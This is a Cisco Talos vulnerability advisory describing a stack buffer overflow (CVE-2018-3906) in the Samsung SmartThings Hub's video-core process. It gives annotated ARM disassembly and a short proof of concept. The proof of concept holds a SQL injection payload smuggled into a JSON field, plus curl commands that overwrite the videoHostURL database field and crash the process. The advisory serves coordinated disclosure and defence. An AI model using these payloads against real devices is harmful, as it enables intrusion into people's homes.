Headline
CVE-2018-3906: TALOS-2018-0576 || Cisco Talos Intelligence Group
An exploitable stack-based buffer overflow vulnerability exists in the retrieval of a database field in video-core’s HTTP server of Samsung SmartThings Hub. The video-core process insecurely extracts the shard.videoHostURL field from its SQLite database, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.
Summary
An exploitable stack-based buffer overflow vulnerability exists in the retrieval of a database field in video-core’s HTTP server of Samsung SmartThings Hub. The video-core process insecurely extracts the shard.videoHostURL field from its SQLite database, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.
Tested Versions
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
Product URLs
https://www.smartthings.com/products/smartthings-hub
CVSSv3 Score
7.5 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE
CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
Details
Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.
The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed on the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they’re both in the same subnetwork.
Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.
The remote SmartThings servers have the ability to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.
We identified a vulnerable function that can be exploited to achieve code execution on the video-core process, which is running as root.
The hub uses a “videoHostURL” field to handle the livestreams, saved inside the “shard” table of video-core’s SQLite database (found at “/hub/data/videocore/db/VideoCore.db”). The “videoHostURL” is the base address, used to build the final link that an end user can use to look at the camera’s stream. In the hub used for our tests, the “videoHostURL” is normally “https://vh-na04-useast2.connect.smartthings.com:8300”.
Function sub_28E2C is used to retrieve the “videoHostURL” from the database and save it in a buffer passed as first argument:
.text:00028E2C sub_28E2C
.text:00028E2C
.text:00028E2C src = -0x14
.text:00028E2C
.text:00028E2C 000 MOV R3, #:lower16:dword_E18A0
.text:00028E30 000 STMFD SP!, {R4-R6,LR}
.text:00028E34 010 MOVT R3, #:upper16:dword_E18A0
.text:00028E38 010 MOV R4, #0
.text:00028E3C 010 SUB SP, SP, #8
.text:00028E40 018 MOV R5, R0
.text:00028E44 018 LDR R1, [R3,#(dword_E18B4 - 0xE18A0)] ; [1]
.text:00028E48 018 STR R4, [SP,#0x18+src]
.text:00028E4C 018 CMP R1, R4 ; [2]
.text:00028E50 018 BEQ loc_28E80
.text:00028E54 018 ADD R6, R0, #4
.text:00028E58 018 MOV R2, #0x100
.text:00028E5C 018 MOV R0, R6
.text:00028E60 018 BL strncpy ; [3]
.text:00028E64 018 MOV R0, R6
.text:00028E68 018 STRB R4, [R5,#0x103]
.text:00028E6C 018 BL strlen
.text:00028E70 018 STR R0, [R5]
.text:00028E74 018 MOV R0, R4
.text:00028E78 018 ADD SP, SP, #8
.text:00028E7C 010 LDMFD SP!, {R4-R6,PC}
.text:00028E80
.text:00028E80 loc_28E80
.text:00028E80 018 MOV R1, #:lower16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028E84 018 MOV R2, #:lower16:aVideohosturl_0 ; "videoHostURL"
.text:00028E88 018 MOVT R1, #:upper16:aShardinmemoryd ; "shardInMemoryDb"
.text:00028E8C 018 MOVT R2, #:upper16:aVideohosturl_0 ; "videoHostURL"
.text:00028E90 018 MOV R0, #3 ; db_id
.text:00028E94 018 ADD R3, SP, #0x18+src
.text:00028E98 018 BL db_find ; [4]
.text:00028E9C 018 CMP R0, #0
.text:00028EA0 018 BLT loc_28EE4
.text:00028EA4 018 LDR R4, [SP,#0x18+src]
.text:00028EA8 018 ADD R3, R5, #4
.text:00028EAC 018 MOV R0, R3
.text:00028EB0 018 MOV R1, R4
.text:00028EB4 018 BL strcpy ; [5]
...
If the “videoHostURL” is overridden by the value stored in the configuration file ([1] and [2]), the “videoHostURL” is copied to the buffer using strncpy [3] with a maximum length of 0x100 bytes. Vice-versa, the URL is fetched from the database by using the function db_find [4]. The query executed is:
SELECT videoHostURL FROM shard WHERE _id='shardInMemoryDb'
The result is finally copied in the buffer using strcpy [5]. Since there is no restriction on the length of the copy operation, the buffer can be overflowed, which allows for overflowing the stack buffer of the parent function and execute arbitrary code.
This function is reachable in two different ways:
- By the "imageUploader" and "mp4Uploader" threads, which are calling this the vulnerable function every second.
- By sending a PUT request to video-core's HTTP server for the path "/cameras/<camera-id>/streams/<stream-name>"
Moreover, each of the three callers above pass a stack buffer when calling the vulnerable function, so all of the possible buffer overflows are stack-based.
Note that while we scored this vulnerability CVSS 7.5 on its own, it would constitute a CVSS 8.5 (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with TALOS-2018-0556. This is demonstrated in the proof of concept below.
Exploit Proof of Concept
The following proof of concept shows how to crash the video-core process:
1- Modify the "shard.videoHostURL" value in the database. This is possible, for example, using using TALOS-2018-0556:
$ sInj='","_id=0 where 1=2;update shard set videoHostURL=replace(substr(quote(zeroblob((13000 + 1) / 2)), 3, 13000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'127.0.0.1/'}"
2- Two options:
A- Wait (about one second) for one of the threads to execute the vulnerable function.
B- Send the "streams" request, using curl from inside the hub, but the same request could be sent using a SmartApp.
$ curl -X PUT "http://127.0.0.1:3000/cameras/<camera-id>/streams/hls1080p" -d '{"oauthToken":"x"}'
Timeline
2018-04-16 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.